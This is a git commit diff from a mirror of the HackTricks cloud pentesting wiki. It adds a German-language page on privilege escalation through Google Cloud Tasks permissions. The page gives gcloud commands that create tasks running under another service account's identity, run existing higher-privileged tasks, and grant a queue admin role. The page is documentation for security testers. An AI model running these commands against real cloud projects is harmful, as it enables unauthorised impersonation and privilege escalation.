mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 11:07:37 -08:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
@@ -107,6 +107,7 @@
|
||||
- [GCP - Cloudfunctions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md)
|
||||
- [GCP - Cloudidentity Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md)
|
||||
- [GCP - Cloud Scheduler Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md)
|
||||
- [GCP - Cloud Tasks Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md)
|
||||
- [GCP - Compute Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md)
|
||||
- [GCP - Add Custom SSH Metadata](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md)
|
||||
- [GCP - Composer Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md)
|
||||
|
||||
@@ -0,0 +1,45 @@
|
||||
# GCP - Cloud Tasks Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud Tasks
|
||||
|
||||
### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Ein Angreifer mit diesen Berechtigungen kann **andere Dienstkonten impersonifizieren**, indem er Aufgaben erstellt, die mit der Identität des angegebenen Dienstkontos ausgeführt werden. Dies ermöglicht das Senden von **authentifizierten HTTP-Anfragen an IAM-geschützte Cloud Run oder Cloud Functions**-Dienste.
|
||||
```bash
|
||||
gcloud tasks create-http-task \
|
||||
task-$(date '+%Y%m%d%H%M%S') \
|
||||
--location us-central1 \
|
||||
--queue <queue_name> \
|
||||
--url 'https://<service_name>.us-central1.run.app' \
|
||||
--method POST \
|
||||
--header 'X-Hello: world' \
|
||||
--body-content '{"hello":"world"}' \
|
||||
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com
|
||||
```
|
||||
### `cloudtasks.tasks.run`, `cloudtasks.tasks.list`
|
||||
|
||||
Ein Angreifer mit diesen Berechtigungen kann **bestehende geplante Aufgaben ausführen**, ohne Berechtigungen für das mit der Aufgabe verbundene Dienstkonto zu haben. Dies ermöglicht die Ausführung von Aufgaben, die zuvor mit höher privilegierten Dienstkonten erstellt wurden.
|
||||
```bash
|
||||
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>
|
||||
```
|
||||
Der Hauptbenutzer, der diesen Befehl ausführt, **benötigt keine `iam.serviceAccounts.actAs`-Berechtigung** für das Dienstkonto der Aufgabe. Dies ermöglicht jedoch nur das Ausführen vorhandener Aufgaben - es gewährt nicht die Fähigkeit, Aufgaben zu erstellen oder zu ändern.
|
||||
|
||||
### `cloudtasks.queues.setIamPolicy`
|
||||
|
||||
Ein Angreifer mit dieser Berechtigung kann **sich selbst oder anderen Benutzern Cloud Tasks-Rollen** für bestimmte Warteschlangen gewähren, was potenziell zu `roles/cloudtasks.admin` führen kann, das die Fähigkeit umfasst, Aufgaben zu erstellen und auszuführen.
|
||||
```bash
|
||||
gcloud tasks queues add-iam-policy-binding \
|
||||
<queue_name> \
|
||||
--location us-central1 \
|
||||
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
|
||||
--role roles/cloudtasks.admin
|
||||
```
|
||||
Dies ermöglicht es dem Angreifer, vollständige Cloud Tasks-Administratorberechtigungen für die Warteschlange an jedes Dienstkonto zu gewähren, das er kontrolliert.
|
||||
|
||||
## References
|
||||
|
||||
- [Google Cloud Tasks Documentation](https://cloud.google.com/tasks/docs)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user